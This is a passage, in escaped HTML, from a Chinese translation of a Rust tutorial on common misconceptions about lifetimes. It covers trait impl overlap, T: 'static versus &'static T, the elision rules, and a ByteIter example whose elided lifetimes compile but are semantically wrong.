&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;error[E0119]: conflicting implementations of trait `Trait` for type `&amp;amp;_`:
 --&amp;gt; src&amp;#x2F;lib.rs:5:1
  |
3 | impl&amp;lt;T&amp;gt; Trait for T {}
  | ------------------- first implementation here
4 |
5 | impl&amp;lt;T&amp;gt; Trait for &amp;amp;T {}
  | ^^^^^^^^^^^^^^^^^^^^ conflicting implementation for `&amp;amp;_`

error[E0119]: conflicting implementations of trait `Trait` for type `&amp;amp;mut _`:
 --&amp;gt; src&amp;#x2F;lib.rs:7:1
  |
3 | impl&amp;lt;T&amp;gt; Trait for T {}
  | ------------------- first implementation here
...
7 | impl&amp;lt;T&amp;gt; Trait for &amp;amp;mut T {}
  | ^^^^^^^^^^^^^^^^^^^^^^^^ conflicting implementation for `&amp;amp;mut _`
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译器不允许我们为 &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; 和 &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; 实现 &lt;code&gt;Trait&lt;&#x2F;code&gt;，因为这与我们为 &lt;code&gt;T&lt;&#x2F;code&gt; 实现的 &lt;code&gt;Trait&lt;&#x2F;code&gt; 发生了冲突，而 &lt;code&gt;T&lt;&#x2F;code&gt; 已经包括了 &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; 和 &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;. 因为 &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; 和 &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; 是不相交的，所以下面的代码可以通过编译：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;trait Trait {}

impl&amp;lt;T&amp;gt; Trait for &amp;amp;T {} &amp;#x2F;&amp;#x2F; 编译通过

impl&amp;lt;T&amp;gt; Trait for &amp;amp;mut T {} &amp;#x2F;&amp;#x2F; 编译通过
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;关键点回顾&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;T&lt;&#x2F;code&gt; 是 &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; 和 &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; 的超集&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; 和 &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; 是不相交的集合&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-ru-guo-t-static-na-me-t-zhi-dao-cheng-xu-jie-shu-wei-zhi-du-yi-ding-shi-you-xiao-de&quot;&gt;2) 如果 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 那么 &lt;code&gt;T&lt;&#x2F;code&gt; 直到程序结束为止都一定是有效的&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;错误的推论&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 应该视为  *“**&lt;code&gt;T&lt;&#x2F;code&gt;*&lt;em&gt;有着&lt;&#x2F;em&gt; *&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;*&lt;em&gt;生命周期”&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&#x27;static T&lt;&#x2F;code&gt; 和 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 是一回事&lt;&#x2F;li&gt;
&lt;li&gt;若 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 则 &lt;code&gt;T&lt;&#x2F;code&gt; 一定是不可变的&lt;&#x2F;li&gt;
&lt;li&gt;若 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 则 &lt;code&gt;T&lt;&#x2F;code&gt; 只能在编译期创建&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;让大多数 Rust 初学者第一次接触 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 生命周期注解的代码示例大概是这样的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    let str_literal: &amp;amp;&amp;#x27;static str = &amp;quot;字符串字面量&amp;quot;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;他们被告知说 &lt;code&gt;&quot;字符串字面量&quot;&lt;&#x2F;code&gt; 是被硬编码到编译出来的二进制文件当中去的，并在运行时被加载到只读内存中，所以它不可变且在程序的整个运行期间都有效，这也使其生命周期为 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt;. 在了解到 Rust 使用 &lt;code&gt;static&lt;&#x2F;code&gt; 来定义静态变量这一语法后，这一观点还会被进一步加强。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;static BYTES: [u8; 3] = [1, 2, 3];
static mut MUT_BYTES: [u8; 3] = [1, 2, 3];

fn main() {
   MUT_BYTES[0] = 99; &amp;#x2F;&amp;#x2F; 编译错误，修改静态变量是 unsafe 的

    unsafe {
        MUT_BYTES[0] = 99;
        assert_eq!(99, MUT_BYTES[0]);
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关于静态变量&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;它们只能在编译期创建&lt;&#x2F;li&gt;
&lt;li&gt;它们应当是不可变的，修改静态变量是 unsafe 的&lt;&#x2F;li&gt;
&lt;li&gt;它们在整个程序运行期间有效&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;静态变量的默认生命周期很有可能是 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; , 对吧？所以可以合理推测 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 生命周期也要遵循同样的规则，对吧？&lt;&#x2F;p&gt;
&lt;p&gt;确实，但 &lt;em&gt;持有&lt;&#x2F;em&gt; &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 生命周期注解的类型和一个满足 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; &lt;em&gt;约束&lt;&#x2F;em&gt; 的类型是不一样的。后者可以于运行时被动态分配，能被安全自由地修改，也可以被 drop, 还能存活任意的时长。&lt;&#x2F;p&gt;
&lt;p&gt;区分 &lt;code&gt;&amp;amp;&#x27;static T&lt;&#x2F;code&gt; 和 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 是非常重要的一点。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;&#x27;static T&lt;&#x2F;code&gt; 是一个指向 &lt;code&gt;T&lt;&#x2F;code&gt; 的不可变引用，其中 &lt;code&gt;T&lt;&#x2F;code&gt; 可以被安全地无期限地持有，甚至可以直到程序结束。这只有在 &lt;code&gt;T&lt;&#x2F;code&gt; 自身不可变且保证 &lt;em&gt;在引用创建后&lt;&#x2F;em&gt; 不会被 move 时才有可能。&lt;code&gt;T&lt;&#x2F;code&gt; 并不需要在编译时创建。 我们可以以内存泄漏为代价，在运行时动态创建随机数据，并返回其 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 引用，比如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use rand;

&amp;#x2F;&amp;#x2F; 在运行时生成随机 &amp;amp;&amp;#x27;static str
fn rand_str_generator() -&amp;gt; &amp;amp;&amp;#x27;static str {
    let rand_string = rand::random::&amp;lt;u64&amp;gt;().to_string();
    Box::leak(rand_string.into_boxed_str())
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 是指 &lt;code&gt;T&lt;&#x2F;code&gt; 可以被安全地无期限地持有，甚至可以直到程序结束。 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 在包括了全部 &lt;code&gt;&amp;amp;&#x27;static T&lt;&#x2F;code&gt; 的同时，还包括了全部所有权类型， 比如 &lt;code&gt;String&lt;&#x2F;code&gt;, &lt;code&gt;Vec&lt;&#x2F;code&gt; 等等。 数据的所有者保证，只要自身还持有数据的所有权，数据就不会失效，因此所有者能够安全地无期限地持有其数据，甚至可以直到程序结束。&lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 应当视为  *“**&lt;code&gt;T&lt;&#x2F;code&gt;&lt;em&gt;&lt;em&gt;满足&lt;&#x2F;em&gt; *&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;&lt;em&gt;&lt;em&gt;生命周期约束”&lt;&#x2F;em&gt;  而非  *“&lt;&#x2F;em&gt;&lt;&#x2F;em&gt;&lt;code&gt;T&lt;&#x2F;code&gt;*&lt;em&gt;有着&lt;&#x2F;em&gt; *&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;*&lt;em&gt;生命周期”&lt;&#x2F;em&gt; 。 一个程序可以帮助阐述这些概念：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use rand;

fn drop_static&amp;lt;T: &amp;#x27;static&amp;gt;(t: T) {
    std::mem::drop(t);
}

fn main() {
    let mut strings: Vec&amp;lt;String&amp;gt; = Vec::new();
    for _ in 0..10 {
        if rand::random() {
            &amp;#x2F;&amp;#x2F; 所有字符串都是随机生成的
            &amp;#x2F;&amp;#x2F; 并且在运行时动态分配
            let string = rand::random::&amp;lt;u64&amp;gt;().to_string();
            strings.push(string);
        }
    }

    &amp;#x2F;&amp;#x2F; 这些字符串是所有权类型，所以他们满足 &amp;#x27;static 生命周期约束
    for mut string in strings {
        &amp;#x2F;&amp;#x2F; 这些字符串是可变的
        string.push_str(&amp;quot;a mutation&amp;quot;);
        &amp;#x2F;&amp;#x2F; 这些字符串都可以被 drop
        drop_static(string); &amp;#x2F;&amp;#x2F; 编译通过
    }

    &amp;#x2F;&amp;#x2F; 这些字符串在程序结束之前就已经全部失效了
    println!(&amp;quot;i am the end of the program&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;关键点回顾&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 应当视为  *“**&lt;code&gt;T&lt;&#x2F;code&gt;*&lt;em&gt;满足&lt;&#x2F;em&gt; *&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;*&lt;em&gt;生命周期约束”&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 则 &lt;code&gt;T&lt;&#x2F;code&gt; 可以是一个有 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 生命周期的引用类型 &lt;em&gt;或&lt;&#x2F;em&gt; 是一个所有权类型&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;因为 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 包括了所有权类型，所以 &lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以在运行时动态分配&lt;&#x2F;li&gt;
&lt;li&gt;不需要在整个程序运行期间都有效&lt;&#x2F;li&gt;
&lt;li&gt;可以安全，自由地修改&lt;&#x2F;li&gt;
&lt;li&gt;可以在运行时被动态的 drop&lt;&#x2F;li&gt;
&lt;li&gt;可以有不同长度的生命周期&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-a-t-he-t-a-shi-yi-hui-shi&quot;&gt;3) &lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt; 和 &lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt; 是一回事&lt;&#x2F;h3&gt;
&lt;p&gt;这个误解是前一个误解的泛化版本。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt; 要求并隐含了 &lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt; ，因为如果 &lt;code&gt;T&lt;&#x2F;code&gt; 本身不能在 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 范围内保证有效，那么其引用也不能在 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 范围内保证有效。例如，Rust 编译器不会运行构造一个 &lt;code&gt;&amp;amp;&#x27;static Ref&amp;lt;&#x27;a, T&amp;gt;&lt;&#x2F;code&gt;，因为如果 &lt;code&gt;Ref&lt;&#x2F;code&gt; 只在 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 范围内有效，我们就不能给它 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 生命周期。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt; 包括了全体 &lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;，但反之不成立。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; 只接受带有 &amp;#x27;a 生命周期注解的引用类型
fn t_ref&amp;lt;&amp;#x27;a, T: &amp;#x27;a&amp;gt;(t: &amp;amp;&amp;#x27;a T) {}

&amp;#x2F;&amp;#x2F; 接受满足 &amp;#x27;a 生命周期约束的任何类型
fn t_bound&amp;lt;&amp;#x27;a, T: &amp;#x27;a&amp;gt;(t: T) {}

&amp;#x2F;&amp;#x2F; 内部含有引用的所有权类型
struct Ref&amp;lt;&amp;#x27;a, T: &amp;#x27;a&amp;gt;(&amp;amp;&amp;#x27;a T);

fn main() {
    let string = String::from(&amp;quot;string&amp;quot;);

    t_bound(&amp;amp;string); &amp;#x2F;&amp;#x2F; 编译通过
    t_bound(Ref(&amp;amp;string)); &amp;#x2F;&amp;#x2F; 编译通过
    t_bound(&amp;amp;Ref(&amp;amp;string)); &amp;#x2F;&amp;#x2F; 编译通过

    t_ref(&amp;amp;string); &amp;#x2F;&amp;#x2F; 编译通过
    t_ref(Ref(&amp;amp;string)); &amp;#x2F;&amp;#x2F; 编译失败，期望得到引用，实际得到 struct
    t_ref(&amp;amp;Ref(&amp;amp;string)); &amp;#x2F;&amp;#x2F; 编译通过

    &amp;#x2F;&amp;#x2F; 满足 &amp;#x27;static 约束的字符串变量可以转换为 &amp;#x27;a 约束
    t_bound(string); &amp;#x2F;&amp;#x2F; 编译通过
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;关键点回顾&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt; 比 &lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt; 更泛化，更灵活&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt; 接受所有权类型，内部含有引用的所有权类型，和引用&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt; 只接受引用&lt;&#x2F;li&gt;
&lt;li&gt;若 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 则 &lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt; 因为对于所有 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 都有 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; &amp;gt;= &lt;code&gt;&#x27;a&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-wo-de-dai-ma-li-bu-han-fan-xing-ye-bu-han-sheng-ming-zhou-qi-zhu-jie&quot;&gt;4) 我的代码里不含泛型也不含生命周期注解&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;错误的推论&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;避免使用泛型和生命周期注解是可能的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这个让人爽到的误解之所以能存在，要得益于 Rust 的生命周期省略规则，这个规则能允许你在函数定义以及 &lt;code&gt;impl&lt;&#x2F;code&gt; 块中省略掉显式的生命周期注解，而由借用检查器来根据以下规则对生命周期进行隐式推导。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;第一条规则是每一个是引用的参数都有它自己的生命周期参数&lt;&#x2F;li&gt;
&lt;li&gt;第二条规则是如果只有一个输入生命周期参数，那么它被赋予所有输出生命周期参数&lt;&#x2F;li&gt;
&lt;li&gt;第三条规则是如果是有多个输入生命周期参数的方法，而其中一个参数是 &lt;code&gt;&amp;amp;self&lt;&#x2F;code&gt; 或 &lt;code&gt;&amp;amp;mut self&lt;&#x2F;code&gt;, 那么所有输出生命周期参数被赋予 &lt;code&gt;self&lt;&#x2F;code&gt; 的生命周期。&lt;&#x2F;li&gt;
&lt;li&gt;其他情况下，生命周期必须有明确的注解&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这里有不少值得讲的东西，让我们来看一些例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; 展开前
fn print(s: &amp;amp;str);

&amp;#x2F;&amp;#x2F; 展开后
fn print&amp;lt;&amp;#x27;a&amp;gt;(s: &amp;amp;&amp;#x27;a str);

&amp;#x2F;&amp;#x2F; 展开前
fn trim(s: &amp;amp;str) -&amp;gt; &amp;amp;str;

&amp;#x2F;&amp;#x2F; 展开后
fn trim&amp;lt;&amp;#x27;a&amp;gt;(s: &amp;amp;&amp;#x27;a str) -&amp;gt; &amp;amp;&amp;#x27;a str;

&amp;#x2F;&amp;#x2F; 非法，没有输入，不能确定返回值的生命周期
fn get_str() -&amp;gt; &amp;amp;str;

&amp;#x2F;&amp;#x2F; 显式标注的方案
fn get_str&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; &amp;amp;&amp;#x27;a str; &amp;#x2F;&amp;#x2F; 泛型版本
fn get_str() -&amp;gt; &amp;amp;&amp;#x27;static str; &amp;#x2F;&amp;#x2F; &amp;#x27;static 版本

&amp;#x2F;&amp;#x2F; 非法，多个输入，不能确定返回值的生命周期
fn overlap(s: &amp;amp;str, t: &amp;amp;str) -&amp;gt; &amp;amp;str;

&amp;#x2F;&amp;#x2F; 显式标注（但仍有部分标注被省略）的方案
fn overlap&amp;lt;&amp;#x27;a&amp;gt;(s: &amp;amp;&amp;#x27;a str, t: &amp;amp;str) -&amp;gt; &amp;amp;&amp;#x27;a str; &amp;#x2F;&amp;#x2F; 返回值的生命周期不长于 s
fn overlap&amp;lt;&amp;#x27;a&amp;gt;(s: &amp;amp;str, t: &amp;amp;&amp;#x27;a str) -&amp;gt; &amp;amp;&amp;#x27;a str; &amp;#x2F;&amp;#x2F; 返回值的生命周期不长于 t
fn overlap&amp;lt;&amp;#x27;a&amp;gt;(s: &amp;amp;&amp;#x27;a str, t: &amp;amp;&amp;#x27;a str) -&amp;gt; &amp;amp;&amp;#x27;a str; &amp;#x2F;&amp;#x2F; 返回值的生命周期不长于 s 且不长于 t
fn overlap(s: &amp;amp;str, t: &amp;amp;str) -&amp;gt; &amp;amp;&amp;#x27;static str; &amp;#x2F;&amp;#x2F; 返回值的生命周期可以长于 s 或者 t
fn overlap&amp;lt;&amp;#x27;a&amp;gt;(s: &amp;amp;str, t: &amp;amp;str) -&amp;gt; &amp;amp;&amp;#x27;a str; &amp;#x2F;&amp;#x2F; 返回值的生命周期与输入无关

&amp;#x2F;&amp;#x2F; 展开后
fn overlap&amp;lt;&amp;#x27;a, &amp;#x27;b&amp;gt;(s: &amp;amp;&amp;#x27;a str, t: &amp;amp;&amp;#x27;b str) -&amp;gt; &amp;amp;&amp;#x27;a str;
fn overlap&amp;lt;&amp;#x27;a, &amp;#x27;b&amp;gt;(s: &amp;amp;&amp;#x27;a str, t: &amp;amp;&amp;#x27;b str) -&amp;gt; &amp;amp;&amp;#x27;b str;
fn overlap&amp;lt;&amp;#x27;a&amp;gt;(s: &amp;amp;&amp;#x27;a str, t: &amp;amp;&amp;#x27;a str) -&amp;gt; &amp;amp;&amp;#x27;a str;
fn overlap&amp;lt;&amp;#x27;a, &amp;#x27;b&amp;gt;(s: &amp;amp;&amp;#x27;a str, t: &amp;amp;&amp;#x27;b str) -&amp;gt; &amp;amp;&amp;#x27;static str;
fn overlap&amp;lt;&amp;#x27;a, &amp;#x27;b, &amp;#x27;c&amp;gt;(s: &amp;amp;&amp;#x27;a str, t: &amp;amp;&amp;#x27;b str) -&amp;gt; &amp;amp;&amp;#x27;c str;

&amp;#x2F;&amp;#x2F; 展开前
fn compare(&amp;amp;self, s: &amp;amp;str) -&amp;gt; &amp;amp;str;

&amp;#x2F;&amp;#x2F; 展开后
fn compare&amp;lt;&amp;#x27;a, &amp;#x27;b&amp;gt;(&amp;amp;&amp;#x27;a self, &amp;amp;&amp;#x27;b str) -&amp;gt; &amp;amp;&amp;#x27;a str;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你写过&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;结构体方法&lt;&#x2F;li&gt;
&lt;li&gt;接收参数中有引用的函数&lt;&#x2F;li&gt;
&lt;li&gt;返回值是引用的函数&lt;&#x2F;li&gt;
&lt;li&gt;泛型函数&lt;&#x2F;li&gt;
&lt;li&gt;trait object(后面将讨论)&lt;&#x2F;li&gt;
&lt;li&gt;闭包（后面将讨论）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;那么对于上面这些，你的代码中都有被省略的泛型生命周期注解。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;关键点回顾&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;几乎所有的 Rust 代码都是泛型代码，并且到处都带有被省略掉的泛型生命周期注解&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;5-ru-guo-bian-yi-tong-guo-liao-na-me-wo-biao-zhu-de-sheng-ming-zhou-qi-jiu-shi-zheng-que-de&quot;&gt;5) 如果编译通过了，那么我标注的生命周期就是正确的&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;错误的推论&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Rust 对函数的生命周期省略规则总是对的&lt;&#x2F;li&gt;
&lt;li&gt;Rust 的借用检查器总是正确的，无论是技巧上还是语义上&lt;&#x2F;li&gt;
&lt;li&gt;Rust 比我更懂我程序的语义&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;让一个 Rust 程序通过编译但语义上不正确是有可能的。来看看这个例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct ByteIter&amp;lt;&amp;#x27;a&amp;gt; {
    remainder: &amp;amp;&amp;#x27;a [u8]
}

impl&amp;lt;&amp;#x27;a&amp;gt; ByteIter&amp;lt;&amp;#x27;a&amp;gt; {
    fn next(&amp;amp;mut self) -&amp;gt; Option&amp;lt;&amp;amp;u8&amp;gt; {
        if self.remainder.is_empty() {
            None
        } else {
            let byte = &amp;amp;self.remainder[0];
            self.remainder = &amp;amp;self.remainder[1..];
            Some(byte)
        }
    }
}

fn main() {
    let mut bytes = ByteIter { remainder: b&amp;quot;1&amp;quot; };
    assert_eq!(Some(&amp;amp;b&amp;#x27;1&amp;#x27;), bytes.next());
    assert_eq!(None, bytes.next());
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;ByteIter&lt;&#x2F;code&gt; 是一个 byte 切片上的迭代器，简洁起见，我这里省略了 Iterator trait 的具体实现。这看起来没什么问题，但如果我们想同时检查多个 byte 呢？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    let mut bytes = ByteIter { remainder: b&amp;quot;1123&amp;quot; };
    let byte_1 = bytes.next();
    let byte_2 = bytes.next();
    if byte_1 == byte_2 {
        &amp;#x2F;&amp;#x2F; 一些代码
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译错误：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;error[E0499]: cannot borrow `bytes` as mutable more than once at a time
  --&amp;gt; src&amp;#x2F;main.rs:20:18
   |
19 |     let byte_1 = bytes.next();
   |                  ----- first mutable borrow occurs here
20 |     let byte_2 = bytes.next();
   |                  ^^^^^ second mutable borrow occurs here
21 |     if byte_1 == byte_2 {
   |        ------ first borrow later used here
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你说可以通过逐 byte 拷贝来避免编译错误，那么确实。当迭代一个 byte 数组上时，我们的确可以通过拷贝每个 byte 来达成目的。但是如果我想要将  &lt;code&gt;ByteIter&lt;&#x2F;code&gt; 改写成一个泛型的切片迭代器，使得我们能够对任意 &lt;code&gt;&amp;amp;&#x27;a [T]&lt;&#x2F;code&gt; 进行迭代，而此时如果有一个 &lt;code&gt;T&lt;&#x2F;code&gt;，其 copy 和 clone 的代价十分昂贵，那么我们该怎么避免这种昂贵的操作呢？哦，我想我们不能，毕竟代码都通过编译了，那么生命周期注解肯定也是对的，对吧？&lt;&#x2F;p&gt;
&lt;p&gt;错，事实上现有的生命周期就是 bug 的源头！这个错误的生命周期被省略掉了以至于难以被发现。现在让我们展开这些被省略掉的生命周期来暴露出这个问题。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct ByteIter&amp;lt;&amp;#x27;a&amp;gt; {
    remainder: &amp;amp;&amp;#x27;a [u8]
}

impl&amp;lt;&amp;#x27;a&amp;gt; ByteIter&amp;lt;&amp;#x27;a&amp;gt; {
    fn next&amp;lt;&amp;#x27;b&amp;gt;(&amp;amp;&amp;#x27;b mut self) -&amp;gt; Option&amp;lt;&amp;amp;&amp;#x27;b u8&amp;gt; {
        if self.remainder.is_empty() {
            None
        } else {
            let byte = &amp;amp;self.remainder[0];
            self.remainder = &amp;amp;self.remainder[1..];
            Some(byte)
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;感觉好像没啥用，我还是搞不清楚问题出在哪。这里有个 Rust 专家才知道的小技巧：给你的生命周期注解起一个更有含义的名字，让我们试一下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct ByteIter&amp;lt;&amp;#x27;remainder&amp;gt; {
    remainder: &amp;amp;&amp;#x27;remainder [u8]
}

impl&amp;lt;&amp;#x27;remainder&amp;gt; ByteIter&amp;lt;&amp;#x27;remainder&amp;gt; {
    fn next&amp;lt;&amp;#x27;mut_self&amp;gt;(&amp;amp;&amp;#x27;mut_self mut self) -&amp;gt; Option&amp;lt;&amp;amp;&amp;#x27;mut_self u8&amp;gt; {
        if self.remainder.is_empty() {
            None
        } else {
            let byte = &amp;amp;self.remainder[0];
            self.remainder = &amp;amp;self.remainder[1..];
            Some(byte)
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每个返回的 byte 都被标注为 &lt;code&gt;&#x27;mut_self&lt;&#x2F;code&gt;, 但是显然这些 byte 都源于 &lt;code&gt;&#x27;remainder&lt;&#x2F;code&gt;! 让我们来修复一下这段代码。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct ByteIter&amp;lt;&amp;#x27;remainder&amp;gt; {
    remainder: &amp;amp;&amp;#x27;remainder [u8]
}

impl&amp;lt;&amp;#x27;remainder&amp;gt; ByteIter&amp;lt;&amp;#x27;remainder&amp;gt; {
    fn next(&amp;amp;mut self) -&amp;gt; Option&amp;lt;&amp;amp;&amp;#x27;remainder u8&amp;gt; {
        if self.remainder.is_empty() {
            None
